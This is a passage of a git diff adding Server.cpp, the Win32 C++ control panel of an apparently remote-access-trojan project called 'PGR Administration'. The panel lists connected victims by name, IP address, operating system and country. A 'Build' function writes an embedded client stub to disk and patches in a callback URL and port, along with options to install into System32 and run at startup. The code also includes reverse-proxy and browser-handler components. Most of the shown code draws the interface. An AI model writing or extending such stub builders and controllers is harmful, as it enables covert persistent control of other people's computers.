APSTUDIO_INVOKED +#ifndef APSTUDIO_READONLY_SYMBOLS +#define _APS_NO_MFC 1 +#define _APS_NEXT_RESOURCE_VALUE 133 +#define _APS_NEXT_COMMAND_VALUE 32776 +#define _APS_NEXT_CONTROL_VALUE 1000 +#define _APS_NEXT_SYMED_VALUE 110 +#endif +#endif diff --git a/Server/Server/Server.cpp b/Server/Server/Server.cpp new file mode 100644 index 0000000..669910b --- /dev/null +++ b/Server/Server/Server.cpp @@ -0,0 +1,1933 @@ +// Server.cpp : Defines the entry point for the application. +// + + + +#include "Initialization.h" +#include "Server.h" +#include "SysTray.h" +#include "Shlwapi.h" +#include +#include +#include "R_Proxy.h" +#include "Browser_Handler.h" + +#define FileSize 6043136 +//#define FileSize 317440 +#pragma comment(lib, "Shlwapi.lib") +//#pragma comment(lib, "UxTheme.lib") +#define MAX_LOADSTRING 100 + +// Global Variables: + // current instance +//WCHAR szTitle[MAX_LOADSTRING]; // The title bar text +WCHAR szWindowClass[MAX_LOADSTRING]; // the main window class name + + +Packet_Handler* _Handle = new Packet_Handler(); +Remote_Handler* _rHandle = new Remote_Handler(); +Initialization *Init = new Initialization(); +R_Proxy *RP = new R_Proxy(); +Browser_Handler *BH = new Browser_Handler(); + + + +//Garbage *gBage = new Garbage; +HMODULE hMod = GetModuleHandle(NULL); +HRSRC rSource = FindResource(hMod, MAKEINTRESOURCE(IDF_FONT), RT_FONT); +DWORD Count; +HGLOBAL Address = LoadResource(hMod, rSource); +PVOID FontData = LockResource(Address); +HANDLE fHand = AddFontMemResourceEx(FontData, SizeofResource(hMod, rSource), 0, &Count); + + +// Forward declarations of functions included in this code module: +ATOM MyRegisterClass(HINSTANCE hInstance); +BOOL InitInstance(HINSTANCE, int); +LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM); +INT_PTR CALLBACK About(HWND, UINT, WPARAM, LPARAM); +int CreateListColumns(HWND, Packet_Handler*); +LRESULT NotifyHandler(HWND, UINT, WPARAM, LPARAM, Packet_Handler*); +void DrawItemStatic(HWND, LPDRAWITEMSTRUCT, COLORREF, HANDLE); +void DrawItemListView(); +LRESULT CALLBACK StubCreationProc(HWND, UINT, WPARAM, LPARAM); + +void ReadWriteMain(); +int ReadEOF(); +BOOL FULL = FALSE; +BOOL HISTORY = FALSE; +BOOL HOVER = FALSE; +BOOL HHOVER = FALSE; +BOOL pLVBG = FALSE; +BOOL CLIENTISACTIVE = FALSE; +BOOL WasListen = FALSE; + +HWND pButton = NULL; +HWND sButton = NULL; +HWND sTitle = NULL; +HWND startButton = NULL; +HWND stopButton = NULL; +HWND tButton = NULL; +HWND bButton = NULL; +HWND bBar = NULL; +HWND Spacer = NULL; +HWND hPort = NULL; +HWND hURL = NULL; +HWND ePort = NULL; +HWND eURL = NULL; +HWND hCreate = NULL; +HWND hApply = NULL; +HWND cSys32 = NULL; +HWND cStart = NULL; +HWND hVer = NULL; +HWND hEXIT = NULL; +HWND hMINI = NULL; +HWND hSplash = NULL; +HWND BBG = NULL; +HWND cMini = NULL; +HWND eSName = NULL; +HWND hSName = NULL; +HWND hName = NULL; +HWND hIP = NULL; +HWND hOS = NULL; +HWND hCountry = NULL; +HWND bTitle = NULL; +HWND bCancel = NULL; +HWND sIP = NULL; +HWND sPort = NULL; +HWND sApply = NULL; +HWND sePort = NULL; +HWND seIP = NULL; + +HANDLE hFontTa = NULL; +HANDLE hFontSm = NULL; +HANDLE hFontSe = NULL; +HANDLE hFont = NULL; +HANDLE hFontSb = NULL; + +HINSTANCE hinstance; + +int CreateStub(BOOL); +struct SETTINGS +{ + int port; + char URL[256]; + int Sys32; + int Startup; +}; + +struct Garbage { + char FilePath[MAX_PATH]; + char LastURL[MAX_PATH]; + int LastPORT; + int CLEAR; +}gBage; + +int CreateStub(BOOL RAM, wchar_t* stubName) +{ + + + HRSRC hrsrc = NULL; + HGLOBAL hGlbl = NULL; + BYTE *pExeResource = NULL; + HANDLE hFile = INVALID_HANDLE_VALUE; + //DWORD dwSize = 8192; + wchar_t wCdir[MAX_PATH +1]; + GetCurrentDirectory(MAX_PATH, wCdir); + + std::wstringstream wss; + std::wstring wstr; + + + + wss << wCdir << L"\\" << stubName; + wstr = wss.str(); + //if(RAM) + hrsrc = FindResource(NULL, MAKEINTRESOURCE(IDR_CLIENTRAM), RT_RCDATA); + //else + // hrsrc = FindResource(NULL, MAKEINTRESOURCE(IDR_CLIENT), RT_RCDATA); + if (hrsrc == NULL) + return 0; + unsigned int dwSize = SizeofResource(NULL, hrsrc); + + hGlbl = LoadResource(NULL, hrsrc); + if (hGlbl == NULL) + return 0; + + pExeResource = (BYTE*)LockResource(hGlbl); + std::ofstream stub(wstr.c_str(),std::ios::out| std::ios::binary); + stub.write((char*)pExeResource, dwSize); + stub.seekp(dwSize - 0xAEB); + stub.write((char*)&Init->data, sizeof(SETTINGS)); + + /* + + char * encrypted = Init->data.URL; + std::stringstream ss; + ss << Init->data.URL; + std::string str; + str = ss.str(); + + int i = 2; + int l = str.length(); + for(i) + */ + + + + + + stub.close(); + return 1; +} + +int APIENTRY wWinMain(_In_ HINSTANCE hInstance, + _In_opt_ HINSTANCE hPrevInstance, + _In_ LPWSTR lpCmdLine, + _In_ int nCmdShow) +{ + UNREFERENCED_PARAMETER(hPrevInstance); + UNREFERENCED_PARAMETER(lpCmdLine); + + // TODO: Place code here. + + // Initialize global strings + // LoadStringW(hInstance, IDS_APP_TITLE, szTitle, MAX_LOADSTRING); + LoadStringW(hInstance, IDC_SERVER, szWindowClass, MAX_LOADSTRING); + + + MyRegisterClass(hInstance); + + // Perform application initialization: + if (!InitInstance (hInstance, nCmdShow)) + { + return FALSE; + } + + + + HACCEL hAccelTable = LoadAccelerators(hInstance, MAKEINTRESOURCE(IDC_SERVER)); + + MSG msg; + + // Main message loop: + //while (GetMessage(&msg, nullptr, 0, 0)) + //{ + // if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg)) + // { + // TranslateMessage(&msg); + // DispatchMessage(&msg); + // } + //} + while (GetMessage(&msg, NULL, 0, 0)) + { + if (!IsDialogMessage(_Handle->mhWnd, &msg)) + { + if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg)) + { + TranslateMessage(&msg); + DispatchMessage(&msg); + } + } + } + return (int) msg.wParam; +} + + + +// +// FUNCTION: MyRegisterClass() +// +// PURPOSE: Registers the window class. +// + +ATOM MyRegisterClass(HINSTANCE hInstance) +{ + WNDCLASSEXW wcex; + hinstance = hInstance; + wcex.cbSize = sizeof(WNDCLASSEX); + + wcex.style = CS_HREDRAW | CS_VREDRAW; + wcex.lpfnWndProc = WndProc; + wcex.cbClsExtra = 0; + wcex.cbWndExtra = 0; + wcex.hInstance = hInstance; + wcex.hIcon = LoadIcon(hInstance, MAKEINTRESOURCE(MAINICON)); + wcex.hCursor = LoadCursor(nullptr, IDC_ARROW); + wcex.hbrBackground = CreateSolidBrush(RGB(0x2C, 0x2C, 0x2C));// (HBRUSH)(COLOR_WINDOW+1); + wcex.lpszMenuName = L"PGR Administration"; + wcex.lpszClassName = szWindowClass; + wcex.hIconSm = LoadIcon(wcex.hInstance, MAKEINTRESOURCE(IDI_SMALL)); + + return RegisterClassExW(&wcex); +// return RegisterClassExW(&_rHandle->RemoteClass); +} + +// +// FUNCTION: InitInstance(HINSTANCE, int) +// +// PURPOSE: Saves instance handle and creates main window +// +// COMMENTS: +// +// In this function, we save the instance handle in a global variable and +// create and display the main program window. +// +BOOL InitInstance(HINSTANCE hInstance, int nCmdShow) +{ + _Handle->hInst = hInstance; // Store instance handle in our global variable + RECT rect; + GetClientRect(GetDesktopWindow(), &rect); + /* WNDCLASSEXW wcex; + + wcex.cbSize = sizeof(WNDCLASSEX); + + wcex.style = CS_HREDRAW | CS_VREDRAW; + wcex.lpfnWndProc = WndProc; + wcex.cbClsExtra = 0; + wcex.cbWndExtra = 0; + wcex.hInstance = hInstance; + wcex.hIcon = LoadIcon(hInstance, MAKEINTRESOURCE(IDI_SPLASH)); + wcex.hCursor = LoadCursor(nullptr, IDC_ARROW); + wcex.hbrBackground = (HBRUSH)COLOR_WINDOW + 1; + wcex.lpszMenuName = L"SplashScreen"; + wcex.lpszClassName = L"Splash"; + wcex.hIconSm = LoadIcon(wcex.hInstance, MAKEINTRESOURCE(IDI_SMALL)); + RegisterClassExW(&wcex); + + + + //(rect.right / 2) - 200, (rect.bottom / 2) - 200 +// hSplash = CreateWindowEx(WS_EX_TOOLWINDOW | WS_EX_LAYERED, L"Splash", L"", WS_POPUP, (rect.right / 2) - 200, (rect.right / 2) - 200, 400, 400, NULL, nullptr, _Handle->hInst, nullptr); + + + HBITMAP hBmp = (HBITMAP)LoadImage(GetModuleHandle(NULL), MAKEINTRESOURCE(IDB_SPLASH), IMAGE_BITMAP, 400, 400, LR_DEFAULTCOLOR); + + POINT pLocat = { rect.left + (rect.right - rect.left - 400) / 2, rect.top + (rect.bottom - rect.top - 400) / 2 }; + POINT pSrc = { 0,0 }; + + + SIZE sSplash = { 400, 400 }; + HDC hdcScreen = GetDC(NULL); + HDC hdcMem = CreateCompatibleDC(hdcScreen); + SelectObject(hdcMem, hBmp); + + BLENDFUNCTION blend = { 0 }; + blend.BlendOp = AC_SRC_OVER; + blend.SourceConstantAlpha = 255; + blend.AlphaFormat = AC_SRC_ALPHA; + + + UpdateLayeredWindow(hSplash, hdcScreen, &pLocat, &sSplash, hdcMem, &pSrc, 0, &blend, ULW_OPAQUE); + ShowWindow(hSplash, nCmdShow); + + Sleep(1250); + ShowWindow(hSplash, SW_HIDE); + */ + // OutputDebugString(L"LVOWNER: Request for -1 item?\n"); + // DebugBreak(); + HWND hWnd = CreateWindowW(szWindowClass, L"PGR Administration", NULL, rect.left + (rect.right - rect.left - 400) / 2, + rect.top + (rect.bottom - rect.top - 400) / 2, 800, 350, nullptr, nullptr, hInstance, nullptr); + _Handle->mhWnd = hWnd; + + if (!hWnd) + { + return FALSE; + } + SetWindowLong(hWnd, GWL_STYLE, WS_BORDER); + ShowWindow(hWnd, nCmdShow); + UpdateWindow(hWnd); + + return TRUE; +} + +// +// FUNCTION: WndProc(HWND, UINT, WPARAM, LPARAM) +// +// PURPOSE: Processes messages for the main window. +// +// WM_COMMAND - process the application menu +// WM_PAINT - Paint the main window +// WM_DESTROY - post a quit message and return +// + +LRESULT CALLBACK ButtonProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam, UINT_PTR uIdSubclass, DWORD_PTR dwRefData) +{ + + switch (message) + { + case WM_SETCURSOR: + { + SetCursor(LoadCursor(NULL, IDC_HAND)); + + + + + + //if (hCreate == (HWND)wParam && hCreate != NULL) + //{ + // if (!HHOVER) + // { + // HHOVER = TRUE; + // RedrawWindow(hWnd, NULL, NULL, RDW_INVALIDATE | RDW_VALIDATE); + // } + // break; + + //} + if (!HOVER) + { + HOVER = TRUE; + RedrawWindow(hWnd, NULL, NULL, RDW_INVALIDATE | RDW_VALIDATE); + TRACKMOUSEEVENT tm; + ZeroMemory(&tm, sizeof(TRACKMOUSEEVENT)); + tm.cbSize = sizeof(TRACKMOUSEEVENT); + tm.dwFlags = TME_LEAVE; + tm.hwndTrack = hWnd; + TrackMouseEvent(&tm); + + }return TRUE; + } + break; + case WM_MOUSELEAVE: + //if (hWnd == hCreate) + //{ + // HHOVER = FALSE; + // RedrawWindow(hWnd, NULL, NULL, RDW_INVALIDATE | RDW_VALIDATE); + // break; + //} + HOVER = FALSE; + RedrawWindow(hWnd, NULL, NULL, RDW_INVALIDATE | RDW_VALIDATE); + //MessageBox(NULL, L"MOUSE LEFT!", NULL, NULL); + break; + case WM_DESTROY: + { + RemoveWindowSubclass(hWnd, ButtonProc, uIdSubclass); + break; + } + } + + return DefSubclassProc(hWnd, message, wParam, lParam); + +} + +LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) +{ + BOOL Already = FALSE; + + BOOL isChecked; + HANDLE rwhWnd; + std::wstringstream wss; + std::wstring wStr; + //static HWND hWndListView; + BOOL eC = TRUE; + + switch (message) + { + + + case WM_CREATE: + { + //if (hSplash == NULL ) + // break; + + + + + + + + + + startButton = CreateWindow(L"BUTTON", + L"Start", + WS_VISIBLE | WS_CHILD | BS_OWNERDRAW, + 10, 55, 30, 15, + hWnd, + (HMENU)IDM_START, + NULL, NULL); + stopButton = CreateWindow(L"BUTTON", + L"Stop", + WS_CHILD | BS_OWNERDRAW, + 10, 55, 30, 15, + hWnd, + (HMENU)IDM_STOP, + NULL, NULL); + pButton = CreateWindow(L"BUTTON", + L"Proxy", WS_VISIBLE | WS_CHILD | BS_OWNERDRAW, + 685, 51, 28, 16, + hWnd, (HMENU)IDM_PROXY, NULL, NULL); + sButton = CreateWindow(L"BUTTON", + L"Settings", + WS_VISIBLE | WS_CHILD | BS_OWNERDRAW, + 748, 51, 39, 16, + hWnd, + (HMENU)IDM_SETTINGS, + NULL, NULL); + //tButton = CreateWindow(L"BUTTON", + // L"Tools", + // WS_VISIBLE | WS_CHILD | BS_OWNERDRAW, + // 686, 51, 29, 16, + // hWnd, + // (HMENU)IDM_TOOLS, NULL, NULL); + bButton = CreateWindow(L"BUTTON", + L"Build", + WS_VISIBLE | WS_CHILD | BS_OWNERDRAW, + 646, 51, 26, 16, + hWnd, + (HMENU)IDM_BUILD, + NULL, NULL); + + hEXIT = CreateWindow(L"Button", + L"", + WS_VISIBLE | WS_CHILD | BS_OWNERDRAW, + 778,9, 14, 14, + hWnd, + (HMENU)IDM_EXIT, + NULL, NULL); + + hMINI = CreateWindow(L"BUTTON", + L"", + WS_VISIBLE | WS_CHILD | BS_OWNERDRAW, + 759, 10,14, 14, + hWnd, + (HMENU)IDM_MINI, + NULL, NULL); + + + SetWindowSubclass(hEXIT, ButtonProc, NULL, NULL); + SetWindowSubclass(hMINI, ButtonProc, NULL, NULL); + SetWindowSubclass(startButton, ButtonProc, NULL, NULL); + SetWindowSubclass(stopButton, ButtonProc, NULL, NULL); + SetWindowSubclass(sButton, ButtonProc, NULL, NULL); + SetWindowSubclass(tButton, ButtonProc, NULL, NULL); + SetWindowSubclass(bButton, ButtonProc, NULL, NULL); + SetWindowSubclass(pButton, ButtonProc, NULL, NULL); + // + + + + + sTitle = CreateWindow(L"STATIC", + L"PGR ADMINISTRATION", + WS_VISIBLE | WS_CHILD | SS_OWNERDRAW,// | SS_LEFT | WS_EX_TRANSPARENT, + 313, 5, 170, 20, + hWnd, + (HMENU)IDM_NAME, + NULL, NULL); + hName = CreateWindow(L"BUTTON", + L"Name", + WS_VISIBLE | WS_CHILD | BS_OWNERDRAW,// | SS_LEFT | WS_EX_TRANSPARENT, + 44, 77, 31, 16, + hWnd, + (HMENU)IDM_NAME, + NULL, NULL); + hIP = CreateWindow(L"BUTTON", + L"IP Address", + WS_VISIBLE | WS_CHILD | BS_OWNERDRAW,// | SS_LEFT | WS_EX_TRANSPARENT, + 168, 77, 69, 16, + hWnd, + (HMENU)IDM_IP, + NULL, NULL); + hOS = CreateWindow(L"BUTTON", + L"Operating System", + WS_VISIBLE | WS_CHILD | BS_OWNERDRAW,// | SS_LEFT | WS_EX_TRANSPARENT, + 333, 77, 102, 16, + hWnd, + (HMENU)IDM_OS, + NULL, NULL); + hCountry = CreateWindow(L"BUTTON", + L"Country", + WS_VISIBLE | WS_CHILD | BS_OWNERDRAW,// | SS_LEFT | WS_EX_TRANSPARENT, + 537, 77, 49, 16, + hWnd, + (HMENU)IDM_COUNTRY, + NULL, NULL); + SetWindowSubclass(hName, ButtonProc, NULL, NULL); /////////////////////Need to Subclass for listview + SetWindowSubclass(hIP, ButtonProc, NULL, NULL); + SetWindowSubclass(hOS, ButtonProc, NULL, NULL); + SetWindowSubclass(hCountry, ButtonProc, NULL, NULL); + //Spacer = CreateWindow(L"STATIC", + // L"", + // WS_VISIBLE | WS_CHILD | WS_BORDER, + // 0, 41, 500, 235, + // hWnd, + // NULL, + // NULL, NULL); + bBar = CreateWindow(L"STATIC", L"", WS_VISIBLE | WS_CHILD | SS_OWNERDRAW, + 5, 337, 350, 20, hWnd, (HMENU)IDC_BBAR, (HINSTANCE)GetWindowLong(hWnd, GWL_HINSTANCE), NULL); + hVer = CreateWindow(L"STATIC", L"Version: 0.06.6 ", WS_VISIBLE | WS_CHILD | SS_OWNERDRAW, + 720, 337, 350, 20, hWnd, NULL, (HINSTANCE)GetWindowLong(hWnd, GWL_HINSTANCE), NULL); + + //hFontB = CreateFont(17, 8, 0, 0, FW_NORMAL, FALSE, FALSE, 0, ANSI_CHARSET, OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS, + // DEFAULT_QUALITY, DEFAULT_PITCH | FF_DONTCARE, L"Demonized"); + hFontTa = CreateFont(0, 0, 0, 0, FW_MEDIUM, FALSE, FALSE, 0, ANSI_CHARSET, OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS, + PROOF_QUALITY, DEFAULT_PITCH | FF_DONTCARE, L"Tahoma"); + hFontSm = CreateFont(10, 5, 0, 0, FW_NORMAL, FALSE, FALSE, 0, ANSI_CHARSET, OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS, + DEFAULT_QUALITY, DEFAULT_PITCH | FF_DONTCARE, L"Segoe UI "); + hFontSb = CreateFont(14, 0, 0, 0, FW_SEMIBOLD, FALSE, FALSE, 0, ANSI_CHARSET, OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS, + PROOF_QUALITY, DEFAULT_PITCH | FF_DONTCARE, L"Segoe UI "); + hFontSe = CreateFont(14, 0, 0, 0, FW_MEDIUM, FALSE, FALSE, 0, ANSI_CHARSET, OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS, + PROOF_QUALITY, DEFAULT_PITCH | FF_DONTCARE, L"Segoe UI "); + + + CreateListColumns(hWnd, _Handle); + //CheckMenuItem(GetMenu(hWnd), IDM_HISTORY, MF_CHECKED); + //CLIENTISACTIVE = TRUE; + //gBage.CLEAR = FALSE; + + + + + break; + } + case WM_DRAWITEM: + { + LPDRAWITEMSTRUCT pDIS = (LPDRAWITEMSTRUCT)lParam; + + //if (pDIS->hwndItem == _Handle->hWndList) + //{ + // DrawItemStatic(pDIS->hwndItem, pDIS, RGB(255, 255, 255), hFontSe); + //} + + + if (pDIS->hwndItem == sTitle) + { + SetTextColor(pDIS->hDC, RGB(255,255, 255)); + WCHAR staticText[99]; + int len = SendMessage(sTitle, WM_GETTEXT, + ARRAYSIZE(staticText), (LPARAM)staticText); + + SelectObject(pDIS->hDC, hFontTa); + TextOut(pDIS->hDC, pDIS->rcItem.left, pDIS->rcItem.top, staticText, len); + + } + if (pDIS->hwndItem == hEXIT) + { + + if (!HOVER) + { + HDC hdcMem = GetDC(hWnd); + HPEN hp = CreatePen(PS_SOLID, 2, RGB(255, 255, 255)); + SelectObject(hdcMem, hp); + MoveToEx(hdcMem, 779, 10, 0); + LineTo(hdcMem, 789, 20); + MoveToEx(hdcMem, 789, 10, 0); + LineTo(hdcMem, 779, 20); + } + else + { + HDC hdcMem = GetDC(hWnd); + HPEN hp = CreatePen(PS_SOLID, 2, RGB(2, 244, 235)); + SelectObject(hdcMem, hp); + MoveToEx(hdcMem, 779, 10, 0); + LineTo(hdcMem, 789, 20); + MoveToEx(hdcMem, 789, 10, 0); + LineTo(hdcMem, 779, 20); + } + + } + + if (pDIS->hwndItem == hMINI) + { + + if (!HOVER) + { + HDC hdcMem = GetDC(hWnd); + HPEN hp = CreatePen(PS_SOLID, 2, RGB(255, 255, 255)); + SelectObject(hdcMem, hp); + MoveToEx(hdcMem, 759, 20, 0); + LineTo(hdcMem, 771, 20); + } + else + { + HDC hdcMem = GetDC(hWnd); + HPEN hp = CreatePen(PS_SOLID, 2, RGB(2, 244, 235)); + SelectObject(hdcMem, hp); + MoveToEx(hdcMem, 759, 20, 0); + LineTo(hdcMem, 771, 20); + } + + + + } + if (pDIS->hwndItem == sButton) + { + if (!HOVER) + DrawItemStatic(pDIS->hwndItem, pDIS, RGB(255, 255, 255), hFontSe); + + else + DrawItemStatic(pDIS->hwndItem, pDIS, RGB(2, 244, 235), hFontSe); + + return 0; + } + if (pDIS->hwndItem == hApply) + { + if (!HOVER) + DrawItemStatic(pDIS->hwndItem, pDIS, RGB(255, 255, 255), hFontSe); + + else + DrawItemStatic(pDIS->hwndItem, pDIS, RGB(2, 244, 235), hFontSe); + + return 0; + } + if (pDIS->hwndItem == startButton) + { + if (!HOVER) + DrawItemStatic(pDIS->hwndItem, pDIS, RGB(255, 255, 255), hFontSe); + + else + DrawItemStatic(pDIS->hwndItem, pDIS, RGB(2, 244, 235), hFontSe); + //HDC hdcMem = CreateCompatibleDC(pDIS->hDC); + //HBITMAP hBmp = (HBITMAP)LoadImage(GetModuleHandle(NULL), MAKEINTRESOURCE(IDB_START), IMAGE_BITMAP, 15, 15, LR_DEFAULTCOLOR); + //SelectObject(hdcMem, hBmp); + ////SendMessage(hWnd, BM_SETIMAGE, (WPARAM)IMAGE_BITMAP, (LPARAM)hBmp); + //StretchBlt(pDIS->hDC, pDIS->rcItem.left, pDIS->rcItem.top, pDIS->rcItem.right - pDIS->rcItem.left, pDIS->rcItem.bottom - pDIS->rcItem.top, hdcMem, 0, 0, 15, 15, SRCCOPY); + //DeleteDC(hdcMem); + return 0; + } + if (pDIS->hwndItem == stopButton) + { + if (!HOVER) + DrawItemStatic(pDIS->hwndItem, pDIS, RGB(255, 255, 255), hFontSe); + + else + DrawItemStatic(pDIS->hwndItem, pDIS, RGB(2, 244, 235), hFontSe); + //HDC hdcMem = CreateCompatibleDC(pDIS->hDC); + //HBITMAP hBmp = (HBITMAP)LoadImage(GetModuleHandle(NULL), MAKEINTRESOURCE(IDB_STOP), IMAGE_BITMAP, 15, 15, LR_DEFAULTCOLOR); + //SelectObject(hdcMem, hBmp); + ////SendMessage(hWnd, BM_SETIMAGE, (WPARAM)IMAGE_BITMAP, (LPARAM)hBmp); + //StretchBlt(pDIS->hDC, pDIS->rcItem.left, pDIS->rcItem.top, pDIS->rcItem.right - pDIS->rcItem.left, pDIS->rcItem.bottom - pDIS->rcItem.top, hdcMem, 0, 0, 15, 15, SRCCOPY); + //DeleteDC(hdcMem); + return 0; + } + if (pDIS->hwndItem == tButton) + { + + if (!HOVER) + DrawItemStatic(pDIS->hwndItem, pDIS, RGB(255, 255, 255), hFontSe); + + else + DrawItemStatic(pDIS->hwndItem, pDIS, RGB(2, 244, 235), hFontSe); + + return 0; + } + if (pDIS->hwndItem == bButton) + { + if (!HOVER) + DrawItemStatic(pDIS->hwndItem, pDIS, RGB(255, 255, 255), hFontSe); + + else + DrawItemStatic(pDIS->hwndItem, pDIS, RGB(2, 244, 235), hFontSe); + + return 0; + } + if (pDIS->hwndItem == pButton) + { + if (!HOVER) + DrawItemStatic(pDIS->hwndItem, pDIS, RGB(255, 255, 255), hFontSe); + + else + DrawItemStatic(pDIS->hwndItem, pDIS, RGB(2, 244, 235), hFontSe); + + return 0; + } + if (pDIS->hwndItem == hName) + { + if (!HOVER) + DrawItemStatic(pDIS->hwndItem, pDIS, RGB(255, 255, 255), hFontSb); + + else + DrawItemStatic(pDIS->hwndItem, pDIS, RGB(2, 244, 235),hFontSb); + + return 0; + } + if (pDIS->hwndItem == hIP) + { + if (!HOVER) + DrawItemStatic(pDIS->hwndItem, pDIS, RGB(255, 255, 255), hFontSb); + + else + DrawItemStatic(pDIS->hwndItem, pDIS, RGB(2, 244, 235), hFontSb); + + return 0; + } + if (pDIS->hwndItem == hOS) + { + if (!HOVER) + DrawItemStatic(pDIS->hwndItem, pDIS, RGB(255, 255, 255), hFontSb); + + else + DrawItemStatic(pDIS->hwndItem, pDIS, RGB(2, 244, 235), hFontSb); + + return 0; + } + if (pDIS->hwndItem == hCountry) + { + if (!HOVER) + DrawItemStatic(pDIS->hwndItem, pDIS, RGB(255, 255, 255), hFontSb); + + else + DrawItemStatic(pDIS->hwndItem, pDIS, RGB(2, 244, 235), hFontSb); + + return 0; + } + if (pDIS->hwndItem == bBar) + { + + WCHAR staticText[99]; + int len = SendMessage(bBar, WM_GETTEXT, + ARRAYSIZE(staticText), (LPARAM)staticText); + // TextOut(pDIS->hDC, pDIS->rcItem.left, pDIS->rcItem.top, L" ", 100); + RECT rect; + GetClientRect(pDIS->hwndItem, &rect); + + + //SelectObject(pDIS->hDC, hFont); + FillRect(pDIS->hDC, &rect,CreateSolidBrush(RGB(0x2C, 0x2C, 0x2C))); + SetTextColor(pDIS->hDC, RGB(255, 255, 255)); + SelectObject(pDIS->hDC, hFontSm); + TextOut(pDIS->hDC, pDIS->rcItem.left, pDIS->rcItem.top, staticText, len); + return 0; + } + if (pDIS->hwndItem == hVer) + { + DrawItemStatic(pDIS->hwndItem, pDIS, RGB(255, 255, 255), hFontSm); + + return 0; + } + if (pDIS->hwndItem == sPort) + { + WCHAR staticText[99]; + int len = SendMessage(sPort, WM_GETTEXT, + ARRAYSIZE(staticText), (LPARAM)staticText); + SetTextColor(pDIS->hDC, RGB(255, 255, 255)); + SelectObject(pDIS->hDC, hFontSm); + TextOut(pDIS->hDC, pDIS->rcItem.left, pDIS->rcItem.top, staticText, len); + return 0; + } + if (pDIS->hwndItem == sIP) + { + WCHAR staticText[99]; + int len = SendMessage(sIP, WM_GETTEXT, + ARRAYSIZE(staticText), (LPARAM)staticText); + SetTextColor(pDIS->hDC, RGB(255, 255, 255)); + SelectObject(pDIS->hDC, hFontSm); + TextOut(pDIS->hDC, pDIS->rcItem.left, pDIS->rcItem.top, staticText, len); + return 0; + } + } + case WM_CTLCOLOREDIT: + { + + HDC hdcButton = (HDC)wParam; + SetBkColor(hdcButton, RGB(0x2C, 0x2C, 0x2C)); + SetTextColor(hdcButton, RGB(255, 255, 255)); + SelectObject(hdcButton, hFontSm); + return (LRESULT)CreateSolidBrush(RGB(0x2C, 0x2C, 0x2C)); + + } + case WM_CTLCOLORBTN: + { + //HDC hdcButton = (HDC)wParam; + //SetBkColor(hdcButton, RGB(200, 0, 0)); + + HDC hdcButton = (HDC)wParam; + SetBkColor(hdcButton, RGB(0x2C, 0x2C, 0x2C)); + SetTextColor(hdcButton, RGB(255, 255, 255)); + + return (LRESULT)CreateSolidBrush(RGB(0x2C, 0x2C, 0x2C)); + + + } + break; + case WM_CTLCOLORSTATIC: + { + + // if (lParam == (LPARAM)sTitle || lParam == (LPARAM)bBar || lParam == (LPARAM)hVer) + //{ + HDC hdcButton = (HDC)wParam; + SetBkColor(hdcButton, RGB(0x2C, 0x2C, 0x2C)); + SetTextColor(hdcButton, RGB(255, 255, 255)); + SelectObject(hdcButton, hFontSm); + return (LRESULT)CreateSolidBrush(RGB(0x2C, 0x2C, 0x2C)); + //} + + } + case WM_NCHITTEST: + UINT uHitTest; + + uHitTest = DefWindowProc(hWnd, WM_NCHITTEST, wParam, lParam); + if (uHitTest == HTCLIENT) + return HTCAPTION; + return uHitTest; + break; + case WM_NOTIFY: + + + return(NotifyHandler(hWnd, message, wParam, lParam, _Handle)); + break; + case TRAY_NOTIF: + switch LOWORD(lParam) + { + case WM_RBUTTONUP: + POINT cursor; + GetCursorPos(&cursor); + //SetForegroundWindow(hWnd); + TrackPopupMenu((HMENU)GetSubMenu(LoadMenu(_Handle->hInst, MAKEINTRESOURCE(IDR_TRAYCONTEXT)), 0), + TPM_LEFTALIGN | TPM_RIGHTBUTTON, cursor.x, cursor.y, 0, hWnd, NULL); + + break; + case WM_LBUTTONUP: + _Handle->Tray->HideTray(&_Handle->Tray->nID); + // Shell_NotifyIcon(NIM_ADD, &Tray->nID); + ShowWindow(hWnd, SW_SHOW); + UpdateWindow(hWnd); + break; + + } + break; + case WM_COMMAND: + { + + int wmId = LOWORD(wParam); + // Parse the menu selections: + switch (wmId) + { + case IDM_MINI: + isChecked = IsDlgButtonChecked(hWnd, IDC_MINI); + if (isChecked) + { + _Handle->Tray->AddTray(LoadIcon(hinstance, MAKEINTRESOURCE(MAINICON)), _Handle->start, &_Handle->Tray->nID, hWnd, _Handle->si.ConnectionCounter); + //Shell_NotifyIcon(NIM_ADD, &Tray->nID); + ShowWindow(hWnd, SW_HIDE); + UpdateWindow(hWnd); + return 0; + } + else + SendMessage(hWnd, WM_SYSCOMMAND, SC_MINIMIZE, NULL); + return 0; + + break; + case IDM_PROXY: + CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)BH->bHandle, _Handle, NULL, NULL); + break; + case IDM_TOOLS: + break; + case IDM_BUILD: + { + HINSTANCE hInstance = (HINSTANCE)GetWindowLong(hWnd, GWL_HINSTANCE); + WNDCLASSEXW wcex; + wcex.cbSize = sizeof(WNDCLASSEXW); + wcex.hbrBackground = CreateSolidBrush(RGB(0x2C, 0x2C, 0x2C)); + wcex.style = CS_HREDRAW | CS_VREDRAW; + wcex.lpfnWndProc = StubCreationProc; + wcex.cbClsExtra = 0; + wcex.cbWndExtra = 0; + wcex.hInstance = hInstance; + wcex.hCursor = LoadCursor(nullptr, IDC_ARROW); + wcex.lpszMenuName = L"PGR Administration"; + wcex.lpszClassName = L"StubCreation"; + wcex.hIcon = LoadIcon(hInstance, MAKEINTRESOURCE(MAINICON)); + wcex.hIconSm = LoadIcon(wcex.hInstance, MAKEINTRESOURCE(IDI_SMALL)); + RegisterClassExW(&wcex); + + RECT rect; + GetClientRect(GetDesktopWindow(), &rect); + + + HWND hBuild = CreateWindow(L"StubCreation", L"", NULL, rect.left + (rect.right - rect.left - 400) / 2, + rect.top + (rect.bottom - rect.top - 400) / 2, 500, 300, NULL, NULL, (HINSTANCE)GetWindowLong(hWnd, GWL_HINSTANCE), NULL); + GetLastError(); + + + SetWindowLong(hBuild, GWL_STYLE, WS_BORDER); + 